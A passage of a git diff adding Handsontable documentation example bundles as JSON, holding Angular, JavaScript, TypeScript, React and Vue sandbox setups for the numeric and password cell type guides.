},\n {\n data: 'discount_percent',\n type: 'numeric',\n numericFormat: {\n style: 'percent',\n minimumFractionDigits: 0,\n maximumFractionDigits: 2,\n },\n },\n {\n data: 'quantity',\n type: 'numeric',\n numericFormat: {\n style: 'decimal',\n useGrouping: true,\n minimumFractionDigits: 0,\n },\n },\n ]\n };\n\n get selectedLabel(): string {\n return this.localeOptions.find((o) => o.value === this.locale)?.label || '';\n }\n\n private elementRef = inject(ElementRef);\n\n toggleDropdown(): void {\n this.isOpen = !this.isOpen;\n }\n\n selectLocale(value: string): void {\n this.locale = value;\n this.isOpen = false;\n this.hotTable?.hotInstance?.updateSettings({ locale: this.locale });\n }\n\n @HostListener('document:click', ['$event'])\n onDocumentClick(event: MouseEvent): void {\n if (!this.elementRef.nativeElement.querySelector('.theme-dropdown')?.contains(event.target)) {\n this.isOpen = false;\n }\n }\n\n @HostListener('document:keydown', ['$event'])\n onKeydown(event: KeyboardEvent): void {\n if (event.key === 'Escape') {\n this.isOpen = false;\n }\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/numeric-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Numeric cell type"],"guide":"guides/cell-types/numeric-cell-type/numeric-cell-type.md","guideTitle":"Numeric cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/numeric-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..8de98814 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Numeric cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst dropdown = document.querySelector('#localeDropdown');\nconst trigger = document.querySelector('#localeTrigger');\nconst menu = document.querySelector('#localeMenu');\nconst label = document.querySelector('#localeLabel');\n// Sample data with various numeric types\nconst data = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n price_usd: 7000,\n price_eur: 7000,\n distance_km: 125000,\n fuel_liters: 45.5,\n discount_percent: 0.15,\n quantity: 1250,\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n price_usd: 8330,\n price_eur: 8330,\n distance_km: 98000,\n fuel_liters: 52.3,\n discount_percent: 0.08,\n quantity: 2100,\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n price_usd: 33900,\n price_eur: 33900,\n distance_km: 45000,\n fuel_liters: 60.0,\n discount_percent: 0.05,\n quantity: 850,\n },\n {\n car: 'Opel Astra',\n year: 2020,\n price_usd: 5000,\n price_eur: 5000,\n distance_km: 156000,\n fuel_liters: 48.7,\n discount_percent: 0.12,\n quantity: 3200,\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n price_usd: 30500,\n price_eur: 30500,\n distance_km: 32000,\n fuel_liters: 55.2,\n discount_percent: 0.03,\n quantity: 1500,\n },\n];\n\n// Initialize Handsontable\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Car', 'Year', 'Price (USD)', 'Price (EUR)', 'Distance', 'Fuel', 'Discount', 'Quantity'],\n columns: [\n {\n data: 'car',\n type: 'text',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'price_usd',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'price_eur',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'EUR',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'distance_km',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'kilometer',\n useGrouping: true,\n },\n },\n {\n data: 'fuel_liters',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'liter',\n minimumFractionDigits: 1,\n maximumFractionDigits: 1,\n },\n },\n {\n data: 'discount_percent',\n type: 'numeric',\n numericFormat: {\n style: 'percent',\n minimumFractionDigits: 0,\n maximumFractionDigits: 2,\n },\n },\n {\n data: 'quantity',\n type: 'numeric',\n numericFormat: {\n style: 'decimal',\n useGrouping: true,\n minimumFractionDigits: 0,\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = e.target.closest('li[data-value]');\n\n if (item) {\n label.textContent = item.textContent.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/numeric-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Numeric cell type"],"guide":"guides/cell-types/numeric-cell-type/numeric-cell-type.md","guideTitle":"Numeric cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/numeric-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..026316fb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Numeric cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n
    \n
    \n
    \n \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst dropdown = document.querySelector('#localeDropdown')!;\nconst trigger = document.querySelector('#localeTrigger')!;\nconst menu = document.querySelector('#localeMenu')!;\nconst label = document.querySelector('#localeLabel')!;\n\n// Sample data with various numeric types\nconst data = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n price_usd: 7000,\n price_eur: 7000,\n distance_km: 125000,\n fuel_liters: 45.5,\n discount_percent: 0.15,\n quantity: 1250,\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n price_usd: 8330,\n price_eur: 8330,\n distance_km: 98000,\n fuel_liters: 52.3,\n discount_percent: 0.08,\n quantity: 2100,\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n price_usd: 33900,\n price_eur: 33900,\n distance_km: 45000,\n fuel_liters: 60.0,\n discount_percent: 0.05,\n quantity: 850,\n },\n {\n car: 'Opel Astra',\n year: 2020,\n price_usd: 5000,\n price_eur: 5000,\n distance_km: 156000,\n fuel_liters: 48.7,\n discount_percent: 0.12,\n quantity: 3200,\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n price_usd: 30500,\n price_eur: 30500,\n distance_km: 32000,\n fuel_liters: 55.2,\n discount_percent: 0.03,\n quantity: 1500,\n },\n];\n\n// Initialize Handsontable\nconst hot = new Handsontable(container, {\n data,\n colHeaders: ['Car', 'Year', 'Price (USD)', 'Price (EUR)', 'Distance', 'Fuel', 'Discount', 'Quantity'],\n columns: [\n {\n data: 'car',\n type: 'text',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'price_usd',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'price_eur',\n type: 'numeric',\n numericFormat: {\n style: 'currency',\n currency: 'EUR',\n minimumFractionDigits: 2,\n },\n },\n {\n data: 'distance_km',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'kilometer',\n useGrouping: true,\n },\n },\n {\n data: 'fuel_liters',\n type: 'numeric',\n numericFormat: {\n style: 'unit',\n unit: 'liter',\n minimumFractionDigits: 1,\n maximumFractionDigits: 1,\n },\n },\n {\n data: 'discount_percent',\n type: 'numeric',\n numericFormat: {\n style: 'percent',\n minimumFractionDigits: 0,\n maximumFractionDigits: 2,\n },\n },\n {\n data: 'quantity',\n type: 'numeric',\n numericFormat: {\n style: 'decimal',\n useGrouping: true,\n minimumFractionDigits: 0,\n },\n },\n ],\n columnSorting: true,\n filters: true,\n dropdownMenu: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// Handle dropdown toggle\ntrigger.addEventListener('click', () => {\n const isOpen = !menu.hidden;\n\n menu.hidden = isOpen;\n trigger.setAttribute('aria-expanded', String(!isOpen));\n});\n\n// Handle locale selection\nmenu.addEventListener('click', (e) => {\n const item = (e.target as HTMLElement).closest('li[data-value]') as HTMLLIElement | null;\n\n if (item) {\n label.textContent = item.textContent!.trim();\n menu.querySelectorAll('li').forEach((li) => li.setAttribute('aria-selected', 'false'));\n item.setAttribute('aria-selected', 'true');\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n hot.updateSettings({ locale: item.dataset.value });\n }\n});\n\n// Close dropdown when clicking outside\ndocument.addEventListener('click', (e) => {\n if (!dropdown.contains(e.target as Node)) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n }\n});\n\n// Close dropdown on Escape key\ndocument.addEventListener('keydown', (e) => {\n if (e.key === 'Escape' && !menu.hidden) {\n menu.hidden = true;\n trigger.setAttribute('aria-expanded', 'false');\n trigger.focus();\n }\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/numeric-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Numeric cell type"],"guide":"guides/cell-types/numeric-cell-type/numeric-cell-type.md","guideTitle":"Numeric cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/numeric-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..df2c2919 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Numeric cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface CarData {\n car: string;\n year: number;\n price_usd: number;\n price_eur: number;\n distance_km: number;\n fuel_liters: number;\n discount_percent: number;\n quantity: number;\n}\n\nconst localeOptions: { value: string; label: string }[] = [\n { value: 'ar-AR', label: 'Arabic (Global)' },\n { value: 'cs-CZ', label: 'Czech (Czechia)' },\n { value: 'de-CH', label: 'German (Switzerland)' },\n { value: 'de-DE', label: 'German (Germany)' },\n { value: 'en-US', label: 'English (United States)' },\n { value: 'es-MX', label: 'Spanish (Mexico)' },\n { value: 'fa-IR', label: 'Persian (Iran)' },\n { value: 'fr-FR', label: 'French (France)' },\n { value: 'hr-HR', label: 'Croatian (Croatia)' },\n { value: 'it-IT', label: 'Italian (Italy)' },\n { value: 'ja-JP', label: 'Japanese (Japan)' },\n { value: 'ko-KR', label: 'Korean (Korea)' },\n { value: 'lv-LV', label: 'Latvian (Latvia)' },\n { value: 'nb-NO', label: 'Norwegian Bokmal (Norway)' },\n { value: 'nl-NL', label: 'Dutch (Netherlands)' },\n { value: 'pl-PL', label: 'Polish (Poland)' },\n { value: 'pt-BR', label: 'Portuguese (Brazil)' },\n { value: 'ru-RU', label: 'Russian (Russia)' },\n { value: 'sr-SP', label: 'Serbian Latin (Serbia)' },\n { value: 'zh-CN', label: 'Chinese (Simplified, China)' },\n { value: 'zh-TW', label: 'Chinese (Traditional, Taiwan)' },\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const dropdownRef = useRef(null);\n const [isOpen, setIsOpen] = useState(false);\n const [locale, setLocale] = useState('en-US');\n\n useEffect(() => {\n const handleOutsideClick = (e: MouseEvent) => {\n if (dropdownRef.current && !dropdownRef.current.contains(e.target as Node)) {\n setIsOpen(false);\n }\n };\n const handleEscape = (e: KeyboardEvent) => {\n if (e.key === 'Escape') {\n setIsOpen(false);\n }\n };\n\n document.addEventListener('click', handleOutsideClick);\n document.addEventListener('keydown', handleEscape);\n\n return () => {\n document.removeEventListener('click', handleOutsideClick);\n document.removeEventListener('keydown', handleEscape);\n };\n }, []);\n\n const handleSelect = (value: string) => {\n setLocale(value);\n setIsOpen(false);\n hotRef.current?.hotInstance?.updateSettings({ locale: value } as Handsontable.GridSettings);\n };\n\n const selectedLabel = localeOptions.find((o) => o.value === locale)?.label;\n\n // Sample data with various numeric types\n const data: CarData[] = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n price_usd: 7000,\n price_eur: 7000,\n distance_km: 125000,\n fuel_liters: 45.5,\n discount_percent: 0.15,\n quantity: 1250,\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n price_usd: 8330,\n price_eur: 8330,\n distance_km: 98000,\n fuel_liters: 52.3,\n discount_percent: 0.08,\n quantity: 2100,\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n price_usd: 33900,\n price_eur: 33900,\n distance_km: 45000,\n fuel_liters: 60.0,\n discount_percent: 0.05,\n quantity: 850,\n },\n {\n car: 'Opel Astra',\n year: 2020,\n price_usd: 5000,\n price_eur: 5000,\n distance_km: 156000,\n fuel_liters: 48.7,\n discount_percent: 0.12,\n quantity: 3200,\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n price_usd: 30500,\n price_eur: 30500,\n distance_km: 32000,\n fuel_liters: 55.2,\n discount_percent: 0.03,\n quantity: 1500,\n },\n ];\n\n return (\n <>\n
    \n
    \n
    \n setIsOpen(!isOpen)}\n >\n {selectedLabel}\n \n \n {isOpen && (\n
      \n {localeOptions.map((opt) => (\n handleSelect(opt.value)}\n >\n {opt.label}\n \n ))}\n
    \n )}\n
    \n
    \n
    \n\n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/numeric-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Numeric cell type"],"guide":"guides/cell-types/numeric-cell-type/numeric-cell-type.md","guideTitle":"Numeric cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/numeric-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..1a8c6bd1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__numeric-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Numeric cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/numeric-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Numeric cell type"],"guide":"guides/cell-types/numeric-cell-type/numeric-cell-type.md","guideTitle":"Numeric cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/numeric-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..ca6dc29f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Password cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-password-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/password-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/password-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..b526f090 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Password cell type · Fixed hash length · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n 